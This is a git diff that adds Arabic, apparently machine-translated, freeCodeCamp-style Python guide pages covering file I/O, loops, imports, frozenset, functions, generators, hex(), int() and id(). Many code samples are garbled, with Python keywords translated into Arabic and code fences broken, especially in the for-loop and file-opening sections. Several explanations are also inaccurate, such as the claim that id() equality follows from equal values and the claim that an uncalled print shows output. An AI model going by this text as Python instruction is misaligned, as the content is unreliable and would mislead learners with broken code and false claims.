+الملف هو موقع مسمى على القرص لتخزين المعلومات ذات الصلة. يتم استخدامه لتخزين البيانات بشكل دائم في الذاكرة غير المتطايرة (على سبيل المثال القرص الثابت). نظرًا لأن ذاكرة الوصول العشوائي (RAM) متقلبة والتي تفقد بياناتها عند إيقاف تشغيل الكمبيوتر ، فنحن نستخدم ملفات للاستخدام المستقبلي للبيانات.
+
+عندما نريد القراءة من ملف أو الكتابة فيه ، نحتاج إلى فتحه أولاً. عندما ننتهي ، يجب إغلاقها ، بحيث يتم تحرير الموارد المرتبطة بالملف.
+
+وبالتالي ، في بيثون ، تتم عملية الملف بالترتيب التالي: 1) افتح ملفًا 2) القراءة أو الكتابة (تنفيذ العملية) 3) أغلق الملف
+
+لدى بايثون العديد من الطرق لعمليات الإدخال والإخراج. يمكن لبعض عمليات الإخراج أن تطبع نصًا ، وسجلات وحدة التحكم ، وحتى إخراج ملف نصي أو جدول بيانات.
+
+### الناتج على الشاشة
+
+يوفر Python أبسط طريقة لإنتاج الإخراج على الشاشة.
+
+ `print "Python is a powerful language.","It is easy to learn." 
+` 
+
+انتاج:
+
+ `Python is a powerful language.It is easy to learn. 
+` 
+
+### المدخلات من المستخدم
+
+هناك طريقتان لأخذ المدخلات من المستخدم.
+
+raw\_input (\[موجه\])
+
+تستخدم لقراءة سطر واحد من الإدخال القياسي وإعادته كسلسلة
+
+ `str = raw_input("Enter your name: ") 
+ print "Welcome ", str 
+` 
+
+انتاج:
+
+ `Enter your name: John Doe 
+ Welcome John Doe 
+` 
+
+المدخلات (موجه)
+
+وظيفة مشابهة لـ raw\_input () ، ولكن يفترض أن الإدخال عبارة عن تعبير بايثون صالح
+
+ `str = input("Enter input: ") 
+ print "Input: ", str 
+` 
+
+انتاج:
+
+ `Enter input: [x*5 for x in range(2,10,2)] 
+ Input: [10,20,30,40] 
+` 
+
+### التفاعل مع الملفات في بايثون
+
+باستخدام Python ، يمكن فتح الملفات بسهولة وقراءتها وكتابتها وإغلاقها. مع الوظائف المتاحة:
+
+1.  `open()`
+2.  `read()`
+3.  `write()`
+4.  `close()`
+
+مثال:
+
+ `file1 = open("foo.txt", "r+")     # Opens the file with read permission. 
+ file1.write("Python is a powerful language.It is easy to learn.")     # Writes data into the file. 
+ data = file1.read(15)     # Reads first 15 characters in the file. 
+ print "First 15 characters are:\n", data     # Prints output 
+ file1.close()     # Closes the opened file. 
+` 
+
+انتاج:
+
+ `First 15 characters are: 
+ Python is a pow 
+` 
+
+#### فتح الملفات
+
+يمكن استخدام أسلوب python open () لإرجاع كائن ملف. هو الأكثر استخدامًا مع وسيطتين هما اسم الملف وطريقة الوصول. يُستخدم أسلوب الوصول لوصف طريقة الوصول إلى الملف أو استخدامه.
+
+أكثر الأوضاع شيوعًا هي "w" وهي للكتابة في الملف و "r" والتي تستخدم لقراءة الملف بينما يتم استخدام "r +" لقراءة الملف وكتابته. "a" هو الوضع المستخدم لإلحاق النص في الملف. تعتبر وسيطة الوضع اختيارية أيضًا ، وسيتم افتراض أنها "r" إذا تم غلقها.
+
+يجب إغلاق الملف بعد اكتمال عملية الإدخال والإخراج لتحرير أي موارد.
+
+نموذج كود لفتح ملف نصي:
+
+\`\` \`الثعبان file = open ('hello\_world.txt'، 'w') file.write ('Hello World!') file.close ()
+
+ ``##### Using with 
+ An alternative to using the `open()` function in standalone is to make use of the `with` statement to open a file. This is considered best practice as it allows the Python framework to manage the context of opening the file, and will autmoatically perform any required resource cleanup. 
+ 
+ This is adventageous in the fact that it takes the onus off the programmer to close every file that is opened, and that the file will still be closed even if an exception was encountered during an IO operation. 
+ 
+ When using the `with` statement is important to note that access to the file will only available within the scope of the `with` block. 
+ 
+ To open a file using the `with` statement the `with` keyword is entered, followed by the call to `open(file)`. Following this the variable used as a handle to the open file is declared after the `as` keyword. Once the programs execution returns from this block, the file will be closed automatically. 
+ 
+ Sample code to open a text file using the `with` statement: 
+`` 
+
+مع فتح ('hello\_world.txt' ، 'w') كـ f: f.write ('Hello World!') \`\` \`
+
+#### معلومات اكثر:
+
+[توثيق بايثون - IO](https://docs.python.org/2/tutorial/inputoutput.html) [أتمتة أشياء مملة](https://automatetheboringstuff.com/chapter8/) [نقطة دروس - بيثون IO](https://www.tutorialspoint.com/python/python_files_io.htm) [8 PEP 343: بيان "مع"](https://docs.python.org/2.5/whatsnew/pep-343.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/for-loop-statements/index.md b/client/src/guide/arabic/python/for-loop-statements/index.md
new file mode 100644
index 0000000000..c7d40d6bd6
--- /dev/null
+++ b/client/src/guide/arabic/python/for-loop-statements/index.md
@@ -0,0 +1,176 @@
+---
+title: For Loop Statements
+localeTitle: للحصول على بيانات حلقة
+---
+## للحصول على بيانات حلقة
+
+تستخدم Python حلقة for للتكرار فوق قائمة من العناصر. على عكس C أو Java ، التي تستخدم الحلقة for لتغيير قيمة في الخطوات والوصول إلى شيء مثل صفيف باستخدام تلك القيمة.
+
+بالنسبة إلى التكرارات ، يمكنك التكرار عبر هياكل البيانات القائمة على المجموعة مثل القوائم ، و tuples ، والقواميس.
+
+البنية الأساسية هي:
+
+ `for value in list_of_values: 
+  # use value inside this block 
+` 
+
+بشكل عام ، يمكنك استخدام أي شيء كقيمة المكرر ، حيث يمكن تعيين إدخالات من iterable. على سبيل المثال ، يمكنك فك مجموعة الصفوف من قائمة الصفوف (tuples):
+
+ `list_of_tuples = [(1,2), (3,4)] 
+ 
+ for a, b in list_of_tuples: 
+  print("a:", a, "b:", b) 
+` 
+
+من ناحية أخرى ، يمكنك تكرار حلقة فوق أي شيء يمكن تثبيته. يمكنك استدعاء وظيفة أو استخدام قائمة حرفية.
+
+ `for person in load_persons(): 
+  print("The name is:", person.name) 
+` 
+
+ `for character in ["P", "y", "t", "h", "o", "n"]: 
+  print("Give me a '{}'!".format(character)) 
+` 
+
+بعض الطرق التي يتم بها استخدام الحلقات For Forops:
+
+**تكرار عبر الدالة range ()**
+
+ `for i in range(10): 
+    print(i) 
+` 
+
+بدلاً من كونه دالة ، فإن النطاق هو في الواقع نوع تسلسل ثابت. سيحتوي الناتج على نتائج من الحد الأدنى أي 0 إلى الحد الأعلى أي 10 ولكن باستثناء 10.By افتراضي ، يتم تعيين الحد الأدنى أو مؤشر البداية إلى الصفر. انتاج:
+
+ `> 
+ 0 
+ 1 
+ 2 
+ 3 
+ 4 
+ 5 
+ 6 
+ 7 
+ 8 
+ 9 
+ > 
+` 
+
+بالإضافة إلى ذلك ، يمكن تحديد الحد الأدنى للتسلسل وحتى خطوة التسلسل بإضافة معلمة ثانية وثانية.
+
+ `for i in range(4,10,2): #From 4 to 9 using a step of two 
+    print(i) 
+` 
+
+انتاج:
+
+ `> 
+ 4 
+ 6 
+ 8 
+ > 
+` 
+
+**وظيفة xrange ()**
+
+بالنسبة للجزء الأكبر ، فإن xrange و range هما نفس الشيء من حيث الوظيفة. كلاهما يوفر طريقة لإنشاء قائمة من الأعداد الصحيحة لتستخدمها ، على أية حال أنت تريد. الاختلاف الوحيد هو أن النطاق يقوم بإرجاع كائن قائمة بايثون وإرجاع xrange لكائن xrange. هذا يعني أن xrange لا يقوم بالفعل بإنشاء قائمة ثابتة في وقت التشغيل مثل المدى. يخلق القيم كما تحتاج إليها مع تقنية خاصة تسمى العائد. يتم استخدام هذه التقنية مع نوع من الأجسام المعروفة باسم المولدات.
+
+أكثر شيء واحد لإضافة. في Python 3.x ، لا توجد الدالة xrange بعد الآن. تقوم دالة النطاق الآن بما يفعله xrange في Python 2.x
+
+**يتكرر فوق القيم في قائمة أو مجموعة**
+
+ `A = ["hello", 1, 65, "thank you", [2, 3]] 
+ for value in A: 
+    print(value) 
+` 
+
+انتاج:
+
+ `> 
+ hello 
+ 1 
+ 65 
+ thank you 
+ [2, 3] 
+ > 
+` 
+
+**تكرار فوق مفاتيح في قاموس (aka hashmap)**
+
+ `fruits_to_colors = {"apple": "#ff0000", 
+                    "lemon": "#ffff00", 
+                    "orange": "#ffa500"} 
+ 
+ for key in fruits_to_colors: 
+    print(key, fruits_to_colors[key]) 
+` 
+
+انتاج:
+
+ `> 
+ apple #ff0000 
+ lemon #ffff00 
+ orange #ffa500 
+ > 
+` 
+
+**يتكرر أكثر من قائمتين من نفس الحجم في حلقة واحدة مع وظيفة zip ()**
+
+\`\` \`الثعبان A = \["a"، "b"، "c"\] B = \["a"، "d"، "e"\]
+
+a، b in zip (A، B): print a، b، a == b
+
+ `Output: 
+` 
+
+\> أأ صحيح bd خطأ م كاذبة >
+
+ `**Iterate over a list and get the corresponding index with the enumerate() function** 
+` 
+
+الثعبان A = \["this"، "is"، "something"، "fun"\]
+
+للفهرس ، كلمة في التعداد (A): طباعة (فهرس ، كلمة)
+
+ `Output: 
+` 
+
+\> 0 هذا 1 هو 2 شيء 3 مرح >
+
+ `A common use case is iterating over a dictionary: 
+` 
+
+الثعبان للاسم ، phonenumber في contacts.items (): print (الاسم ، "يمكن الوصول إليه تحت" ، phonenumber)
+
+ ``If you absolutely need to access the current index of your iteration, do **NOT** use `range(len(iterable))`! This is an extremely bad practice and will get you plenty of chuckles from senior Python developers. Use the built in function `enumerate()` instead: 
+`` 
+
+الثعبان للفهرس ، البند في التعداد (shopping\_basket): طباعة ("البند" ، فهرس ، "هو" ، عنصر)
+
+ ``**for/else statements** 
+ Pyhton permits you to use else with for loops, the else case is executed when none of the conditions with in the loop body was satisfied. To use the else we have to make use of `break` statement so that we can break out of the loop on a satsfied condition.If we do not break out then the else part will be executed. 
+`` 
+
+الثعبان _أيام_ الأسبوع _\= \["الاثنين" ، "الثلاثاء" ، "الأربعاء" ، "الخميس" ، "الجمعة"\] اليوم = 'السبت' ليوم في_ أيام _الأسبوع_ : إذا كان اليوم == اليوم: طباعة ("اليوم هو يوم من أيام الأسبوع") استراحة آخر: طباعة ("اليوم ليس يومًا في الأسبوع")
+
+ ``In the above case the output will be `today is not a week day` since the break within the loop will never be executed. 
+ 
+ **Iterate over a list using inline loop function** 
+ 
+ We could also iterate inline using python, for example if we need to uppercase all the words in a list from a list we could simply do the following: 
+`` 
+
+الثعبان A = \["this"، "is"، "awesome"، "shinning"، "star"\]
+
+UPPERCASE = \[word.upper () للكلمة في A\] طباعة (UPPERCASE)
+
+ `Output: 
+` 
+
+\> \['THIS'، 'IS'، 'AWESOME'، 'SHINNING'، 'STAR'\] > \`\` \`
+
+#### معلومات اكثر:
+
+*   [Python2 للوثائق حلقة](https://docs.python.org/2.7/tutorial/controlflow.html#for-statements)
+    
+*   [Python3 للوثائق حلقة](https://docs.python.org/3/tutorial/controlflow.html#for-statements)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/from-x-import-y/index.md b/client/src/guide/arabic/python/from-x-import-y/index.md
new file mode 100644
index 0000000000..43dbc38806
--- /dev/null
+++ b/client/src/guide/arabic/python/from-x-import-y/index.md
@@ -0,0 +1,35 @@
+---
+title: Python from X Import Y
+localeTitle: بايثون من X استيراد Y
+---
+إذا كنت قد قرأت wiki `import statements` فقد رأيتني استخدم هذا البيان في أحد الأمثلة. اليوم ، سنحاول فهم ما تفعله
+
+حتى التقاط نفس المثال:
+
+ `>>> from math import ceil, sqrt 
+ >>> # here it would be 
+ >>> sqrt(36) 
+ <<< 6 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CS5t/1)
+
+أو يمكننا استخدام هذا:
+
+ `>>> import math 
+ >>> # here it would be 
+ >>> math.sqrt(36) 
+ <<< 6 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CS5u)
+
+ثم سيبدو لدينا رمز مثل `math.sqrt(x)` بدلاً من `sqrt(x)` . يحدث هذا لأنه عندما نستخدم `import x` ، يتم إنشاء مساحة اسم `x` نفسها لتجنب تعارضات الأسماء. يجب عليك الوصول إلى كل كائن مفرد من الوحدة النمطية كـ `x.<name>` . ولكن عندما نستخدم `from x import y` نوافق على إضافة `y` إلى مساحة الاسم الرئيسية الرئيسية. لذا أثناء استخدام هذا يجب علينا التأكد من عدم وجود كائن يحمل نفس الاسم في برنامجنا.
+
+> **لا تستخدم أبدًا `from x import y` إذا كان هناك كائن مسمي `y` موجود بالفعل**
+
+على سبيل المثال ، في وحدة `os` هناك طريقة `open` . ولكن لدينا حتى وظيفة مدمجة تسمى `open` . لذا ، هنا يجب أن نتجنب `from os import open` .
+
+يمكننا حتى استخدام `form x import *` ، وهذا من شأنه أن يستورد جميع الأساليب ، فئات هذه الوحدة إلى مساحة الاسم العالمية للبرنامج. هذا هو ممارسة برمجة سيئة. يرجى تجنب ذلك.
+
+بشكل عام ، يجب تجنب استخدام `from x import y` ببساطة بسبب المشكلات التي قد يسببها في البرامج واسعة النطاق. على سبيل المثال ، لا تعرف أبدًا ما إذا كان مبرمج زميل قد يرغب في إنشاء وظيفة جديدة تصادف أنها اسم إحدى الوظائف الموجودة. كما أنك لا تعرف ما إذا كانت Python ستغير المكتبة التي تقوم باستيراد الدالات منها. في حين أن هذه المشاكل لن تكون موجودة في كثير من الأحيان للمشاريع المنفردة ، كما هو مذكور من قبل ، فهي ممارسة سيئة للبرامج ويجب تجنبها.
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/frozenset/index.md b/client/src/guide/arabic/python/frozenset/index.md
new file mode 100644
index 0000000000..fa2ad39dd7
--- /dev/null
+++ b/client/src/guide/arabic/python/frozenset/index.md
@@ -0,0 +1,37 @@
+---
+title: Python Frozenset
+localeTitle: بايثون فروزينسيت
+---
+**`frozenset` المعلومات الأساسية** نوع `frozenset` هو نوع من أنواع المبينات التي لا يمكن تغييرها وقابل للغسل - لا يمكن تغيير محتوياتها بعد إنشائها ؛ ومع ذلك ، يمكن استخدامه كمفتاح القاموس أو كعنصر من مجموعة أخرى. Frozensets تشبه مجموعات إلا أنه لا يمكن تغييرها ، أي أنها غير ثابتة.
+
+ `>>> cities = frozenset(["Frankfurt", "Basel", "Freiburg"]) 
+ >>> cities.add("Strasbourg") 
+ Traceback (most recent call last): 
+    File "<stdin>", line 1, in <module> 
+ AttributeError: 'frozenset' object has no attribute 'add' 
+ >>> 
+` 
+
+منشئ `frozenset` : `frozenset([iterable])` the iterable يحتوي على عناصر لتهيئة frozenset مع. يمكن تعيين `frozenset()` ، والقاموس ، وما إلى ذلك. إذا لم يتم تمرير أي معلمة ، ترجع طريقة `frozenset()` frozenset فارغة.
+
+**أمثلة**
+
+ `>>> vowels = ('a', 'e', 'i', 'o', 'u') 
+ >>> fSet = frozenset(vowels) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'i', 'e', 'a', 'u', 'o'}) 
+ >>> print("The empty frozen set is: ", frozenset()) 
+ The empty frozen set is: frozenset() 
+ >>> 
+` 
+
+**مثال آخر**
+
+ `>>> person = {"name": "John", "age": 23, "sex": "male"} 
+ >>> fSet = frozenset(person) 
+ >>> print("The frozen set is: ", fSet) 
+ The frozen set is: frozenset({'sex', 'name', 'age'}) 
+ >>> 
+` 
+
+**معلومة اضافية** [بايثون فروزينسيت ()](https://www.programiz.com/python-programming/methods/built-in/frozenset) [مجموعة أنواع - مجموعة ، frozenset](https://docs.python.org/2.4/lib/types-set.html) [Python Tutorial: مجموعات ومجموعات مجمدة](https://www.python-course.eu/sets_frozensets.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/functions/index.md b/client/src/guide/arabic/python/functions/index.md
new file mode 100644
index 0000000000..aa9aecf574
--- /dev/null
+++ b/client/src/guide/arabic/python/functions/index.md
@@ -0,0 +1,127 @@
+---
+title: Functions
+localeTitle: المهام
+---
+## المهام
+
+تسمح لك الوظيفة بتعريف كتلة قابلة لإعادة الاستخدام من التعليمات البرمجية التي يمكن تنفيذها عدة مرات داخل البرنامج.
+
+تتيح لك الوظائف إنشاء حلول أكثر جُرَفاً و [DRY](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) لمشاكل معقدة.
+
+في حين أن بيثون توفر بالفعل العديد من الوظائف المضمنة مثل `print()` و `len()` ، يمكنك أيضًا تحديد وظائفك الخاصة لاستخدامها في مشاريعك.
+
+إحدى المزايا الرائعة لاستخدام الدالات في التعليمات البرمجية الخاصة بك أنه يقلل العدد الإجمالي خطوط التعليمات البرمجية في المشروع.
+
+### بناء الجملة
+
+في Python ، يحتوي تعريف الدالة على الميزات التالية:
+
+1.  الكلمة `def`
+2.  اسم وظيفة
+3.  paranthesis '()' ، وداخل معلمات إدخال paranthesis ، على الرغم من أن معلمات الإدخال اختيارية.
+4.  القولون ':'
+5.  بعض كتلة من التعليمات البرمجية للتنفيذ
+6.  بيان الإرجاع (اختياري)
+
+ `# a function with no parameters or returned values 
+ def sayHello(): 
+  print("Hello!") 
+ 
+ sayHello()  # calls the function, 'Hello!' is printed to the console 
+ 
+ # a function with a parameter 
+ def helloWithName(name): 
+  print("Hello " + name + "!") 
+ 
+ helloWithName("Ada")  # calls the function, 'Hello Ada!' is printed to the console 
+ 
+ # a function with multiple parameters with a return statement 
+ def multiply(val1, val2): 
+  return val1 * val2 
+ 
+ multiply(3, 5)  # prints 15 to the console 
+` 
+
+دالات هي كتل من التعليمات البرمجية التي يمكن إعادة استخدامها ببساطة عن طريق استدعاء الدالة. ويتيح ذلك إعادة استخدام الشفرة البسيطة والأنيقة دون إعادة كتابة أجزاء من التعليمات البرمجية بشكل صريح. هذا يجعل التعليمات البرمجية أكثر قابلية للقراءة ، مما يجعل تصحيح الأخطاء أسهل ، ويحد من أخطاء الكتابة.
+
+يتم إنشاء دالات في Python باستخدام الكلمة المفتاحية `def` ، متبوعةً باسم دالة ومعلمات دالة داخل أقواس.
+
+وظيفة دوما بإرجاع قيمة، و `return` يستخدم الكلمة بواسطة الدالة لإرجاع قيمة، إذا كنت لا ترغب في عودة أي قيمة، القيمة الافتراضية `None` سوف إرجاعها.
+
+يتم استخدام اسم الدالة لاستدعاء الدالة ، تمرير المعلمات المطلوبة داخل الأقواس.
+
+ `# this is a basic sum function 
+ def sum(a, b): 
+  return a + b 
+ 
+ result = sum(1, 2) 
+ # result = 3 
+` 
+
+يمكنك تعريف القيم الافتراضية للمعلمات ، وبهذه الطريقة سوف تفسر بايثون أن قيمة هذه المعلمة هي القيمة الافتراضية إذا لم يتم تحديد أي منها.
+
+ `def sum(a, b=3): 
+  return a + b 
+ 
+ result = sum(1) 
+ # result = 4 
+` 
+
+يمكنك تمرير المعلمات بالترتيب الذي تريده ، باستخدام اسم المعلمة.
+
+ `result = sum(b=2, a=2) 
+ # result = 4 
+` 
+
+ومع ذلك ، لا يمكن تمرير وسيطة الكلمات الرئيسية قبل كلمة غير أساسية
+
+ `result = sum(3, b=2) 
+ #result = 5 
+ result2 = sum(b=2, 3) 
+ #Will raise SyntaxError 
+` 
+
+وظائف هي أيضا كائنات ، لذلك يمكنك تعيينها لمتغير ، واستخدام هذا المتغير مثل وظيفة.
+
+ `s = sum 
+ result = s(1, 2) 
+ # result = 3 
+` 
+
+### ملاحظات
+
+*   إذا تضمن تعريف الدالة معلمات ، فيجب عليك توفير نفس العدد من المعلمات عند استدعاء الوظيفة.
+    
+     `print(multiply(3))  # TypeError: multiply() takes exactly 2 arguments (0 given) 
+     
+     print(multiply('a', 5))  # 'aaaaa' printed to the console 
+     
+     print(multiply('a', 'b'))  # TypeError: Python can't multiply two strings 
+    ` 
+    
+*   تتضمن كتلة التعليمة البرمجية التي ستقوم الدالة بتشغيل كافة عبارات بادئة داخل الدالة.
+    
+     `def myFunc(): 
+     print('this will print') 
+     print('so will this') 
+     
+     x = 7 
+     # the assignment of x is not a part of the function since it is not indented 
+    ` 
+    
+*   المتغيرات المحددة ضمن وظيفة موجودة فقط داخل نطاق تلك الوظيفة.
+    
+     `def double(num): 
+     x = num * 2 
+     return x 
+     
+     print(x)  # error - x is not defined 
+     print(double(4))  # prints 8 
+    ` 
+    
+    يفسر -Python كتلة الدالة فقط عندما يتم استدعاء الدالة وليس عندما يتم تعريف الدالة.حتى إذا كانت كتلة تعريف الدالة تحتوي على نوع من الخطأ ، فسيشير تفسر python إلى ذلك فقط عند استدعاء الدالة.
+    
+
+### معلومات اكثر:
+
+*   [Python 3 Docs: تحديد الوظائف](https://docs.python.org/3/tutorial/controlflow.html#defining-functions)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/generators/index.md b/client/src/guide/arabic/python/generators/index.md
new file mode 100644
index 0000000000..cd7f140ef9
--- /dev/null
+++ b/client/src/guide/arabic/python/generators/index.md
@@ -0,0 +1,57 @@
+---
+title: Generators
+localeTitle: مولدات كهرباء
+---
+## مولدات كهرباء
+
+المولدات هي نوع خاص من الوظائف التي تسمح لك بإرجاع القيم دون إنهاء وظيفة. يفعل هذا عن طريق استخدام الكلمة الرئيسية `yield` . على غرار `return` ، و `yield` سوف التعبير بإرجاع قيمة إلى المتصل. والفرق الرئيسي بين الاثنين هو أن `yield` سيعلق الوظيفة ، مما يسمح بإعادة المزيد من القيم في المستقبل.
+
+المولدات قابلة للتكرار حتى يمكن استخدامها بشكل نظيف مع الحلقات أو أي شيء آخر يتكرر.
+
+ `def my_generator(): 
+    yield 'hello' 
+    yield 'world' 
+    yield '!' 
+ 
+ for item in my_generator(): 
+    print(item) 
+ 
+ # output: 
+ # hello 
+ # world 
+ # ! 
+` 
+
+مثل المكررات الأخرى ، يمكن تمرير المولدات إلى الوظيفة `next` لاسترداد العنصر التالي. عندما لا يحتوي المولّد على قيم أكثر `StopIteration` ، `StopIteration` خطأ `StopIteration` .
+
+ `g = my_generator() 
+ print(next(g)) 
+ # 'hello' 
+ print(next(g)) 
+ # 'world' 
+ print(next(g)) 
+ # '!' 
+ print(next(g)) 
+ # Traceback (most recent call last): 
+ #   File "<stdin>", line 1, in <module> 
+ # StopIteration 
+` 
+
+تعد المولدات مفيدة بشكل خاص عندما تحتاج إلى إنشاء مجموعة كبيرة من القيم ولكن لا تحتاج إلى الاحتفاظ بها كلها في الذاكرة في نفس الوقت. على سبيل المثال ، إذا كنت بحاجة إلى طباعة أول مليون مليون فيبوناتشي ، فيجب عليك عادة إرجاع قائمة بقيمة مليون وتكرارها على القائمة لطباعة كل قيمة. ومع ذلك ، مع مولد ، يمكنك إرجاع كل قيمة واحدة في كل مرة:
+
+ `def fib(n): 
+    a = 1 
+    b = 1 
+    for i in range(n): 
+        yield a 
+        a, b = b, a + b 
+ 
+ for x in fib(1000000): 
+    print(x) 
+` 
+
+### معلومات اكثر
+
+*   [PEP 255](https://www.python.org/dev/peps/pep-0255/)
+*   [بايثون ويكي](https://wiki.python.org/moin/Generators)
+*   [وثائق بيان العائد](https://docs.python.org/2/reference/simple_stmts.html#yield)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/hex-functions/index.md b/client/src/guide/arabic/python/hex-functions/index.md
new file mode 100644
index 0000000000..798fe098ff
--- /dev/null
+++ b/client/src/guide/arabic/python/hex-functions/index.md
@@ -0,0 +1,24 @@
+---
+title: Python Hex Function
+localeTitle: بيثون الهيكس وظيفة
+---
+`hex(x)` هي دالة مضمنة في Python 3 لتحويل عدد صحيح إلى سلسلة [سداسية عشرية](https://www.mathsisfun.com/hexadecimals.html) صغيرة مسبوقة بـ "0x".
+
+## جدال
+
+تأخذ هذه الدالة وسيطة واحدة ، `x` ، يجب أن تكون من النوع الصحيح.
+
+## إرجاع
+
+تقوم هذه الدالة بإرجاع سلسلة سداسية عشرية صغيرة مسبوقة بـ "0x".
+
+## مثال
+
+ `print(hex(16))    # prints  0x10 
+ print(hex(-298))  # prints -0x12a 
+ print(hex(543))   # prints  0x21f 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CV0S)
+
+[الوثائق الرسمية](https://docs.python.org/3/library/functions.html#hex)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/how-to-convert-strings-into-integers-in-python/index.md b/client/src/guide/arabic/python/how-to-convert-strings-into-integers-in-python/index.md
new file mode 100644
index 0000000000..495ec4d936
--- /dev/null
+++ b/client/src/guide/arabic/python/how-to-convert-strings-into-integers-in-python/index.md
@@ -0,0 +1,69 @@
+---
+title: How to Convert Strings into Integers in Python
+localeTitle: كيفية تحويل السلاسل إلى أعداد صحيحة في بيثون
+---
+## كيفية تحويل السلاسل إلى أعداد صحيحة في بيثون
+
+تمامًا كما هو الحال في `str()` المضمنة ، تقدم Python أيضًا أداة يدوية مدمجة تأخذ كائن السلسلة كوسيطة وتعيد الكائن الصحيح المناظر.
+
+#### مثال للاستخدام:
+
+ `# Here age is a string object 
+ age = "18" 
+ print(age) 
+ # Converting string to integer 
+ int_age = int(age) 
+ print(int_age) 
+` 
+
+انتاج |
+
+ `18 
+ 18 
+` 
+
+على الرغم من أن المخرجات متشابهة بصريًا ، إلا أنه يجب أن تضع في اعتبارك أن السطر الأول يطبع كائن سلسلة بينما يقوم السطر الموجود بجواره بطباعة كائن صحيح يتضح أكثر في المثال التالي:
+
+ `age = "18" 
+ print(age+2) 
+` 
+
+انتاج:
+
+ `Traceback (most recent call last): 
+  File "<stdin>", line 1, in <module> 
+ TypeError: cannot concatenate 'str' and 'int' objects 
+` 
+
+`The error should make it clear to you that you need to convert the` الكائن age إلى عدد صحيح قبل إضافة شيء إليه.
+
+ `age = "18" 
+ age_int = int(age) 
+ print(age_int+2) 
+` 
+
+انتاج:
+
+ `20 
+` 
+
+لكن يجب أن تضع في اعتبارك بعض الحالات الخاصة:
+
+1.  نقطة عائمة (عدد صحيح مع جزء كسري) كوسيطة ستعيد العوامة تقريبًا إلى أقرب عدد صحيح كامل. على سبيل المثال: `print(int(7.9))` ستطبع `7` . ستؤدي أيضًا `print(int("7.9"))` إلى حدوث خطأ نظرًا لأن السلسلة عبارة عن وسيطة غير صالحة للتحويل إلى عدد صحيح.
+    
+     `Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: '7.9' 
+    ` 
+    
+2.  أيضا أي عدد صحيح في الكلمات إذا تم تقديمه كوسيطة سيعود نفس الخطأ على النحو الوارد أعلاه: `print(int("one"))` سوف تعطي خطأ كما يلي:
+    
+     `Traceback (most recent call last): 
+      File "<stdin>", line 1, in <module> 
+     ValueError: invalid literal for int() with base 10: 'one' 
+    ` 
+    
+
+#### معلومات اكثر:
+
+يمكن العثور على الوثائق الرسمية لـ `int()` المضمنة [هنا](https://docs.python.org/3.6/library/functions.html#int)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/idobject/index.md b/client/src/guide/arabic/python/idobject/index.md
new file mode 100644
index 0000000000..cecb2031ce
--- /dev/null
+++ b/client/src/guide/arabic/python/idobject/index.md
@@ -0,0 +1,43 @@
+---
+title: Python Idobject
+localeTitle: بيثون Idobject
+---
+`id()` هي دالة مضمنة في Python 3 ، والتي تُرجع _هوية_ الكائن. _الهوية_ عبارة عن رقم فريد فريد لهذا الكائن أثناء عمره. هذا هو أيضًا عنوان الكائن في الذاكرة.
+
+## جدال
+
+#### موضوع
+
+يمكن أن تكون وسيطة `object` نموذجية `int` أو `float` أو `str` أو `list` أو `dict` أو `tuple` إلخ.
+
+## عينة الكود
+
+ `a = 2 
+ print(id(a)) #=> 140454723286976 (Values returned by id() might be different for different users) 
+ 
+ b = 3 
+ print(id(b)) #=> 140454723287008 
+ 
+ c = 2 
+ print(id(c)) #=> 140454723286976 (This is same as id(a) since they both contain the same value and hence have same memory address) 
+ 
+ print(id(a) == id(b)) #=> False (since a and b have different values stored in them) 
+ print(id(a) == id(c)) #=> True (since a and c have same values stored in them) 
+ 
+ d = 1.1 
+ e = 1.1 
+ print(id(d) == id(e)) #=> True (since d and e have same values stored in them) 
+ 
+ str1 = 'hello' 
+ str2 = 'hello' 
+ print(id(str1) == id(str2)) #=> True (since str1 and str2 have same values stored in them) 
+ 
+ # For complex objects like lists, tuples, dictionaries etc. id() would give a unique integer even if the content of those containers is same. 
+ tup1 = (1,1) 
+ tup2 = (1,1) 
+ print(id(tup1) == id(tup2)) #=> False 
+` 
+
+![:rocket:](//forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=2 ":صاروخ:") [تشغيل الكود](https://repl.it/CQw7/1)
+
+[المستندات الرسمية](https://docs.python.org/3/library/functions.html#id)
\ No newline at end of file
diff --git a/client/src/guide/arabic/python/if-elif-else-statements/index.md b/client/src/guide/arabic/python/if-elif-else-statements/index.md
new file mode 100644
index 0000000000..9127748c86
--- /dev/null
+++ b/client/src/guide/arabic/python/if-elif-else-statements/index.md
@@ -0,0 +1,90 @@
+---
+title: If Elif Else Statements
+localeTitle: إذا كانت بيانات Elif Else
+---
+## إذا كانت بيانات Elif Else
+
+تعد بنية `if` / `elif` / `else` طريقة شائعة للتحكم في تدفق البرنامج ، مما يسمح لك بتنفيذ مقاطع محددة من الكود بناءً على قيمة بعض البيانات. إذا كانت الحالة التالية للكلمة الرئيسية في `if` تقييمها `true` ، فسيتم تنفيذ كتلة الرمز: لاحظ أنه لا يتم استخدام الأقواس قبل وبعد التحقق من الشروط كما هو الحال في اللغات الأخرى.
+
+ `if True: 
+  print('If block will execute!') 
+` 
+
+ `x = 5 
+ 
+ if x > 4: 
+  print("The condition was true!") #this statement executes 
+` 
+
+يمكنك إضافة اختياريا `else` ردا على ذلك سيتم تنفيذ إذا كان الشرط `false` :
+
+ `if not True: 
+  print('If statement will execute!') 
+ else: 
+  print('Else statement will execute!') 
+` 
+
+أو يمكنك أيضًا مشاهدة هذا المثال
+
+ `y = 3 
+ 
+ if y > 4: 
+  print("I won't print!") #this statement does not execute 
+ else: 
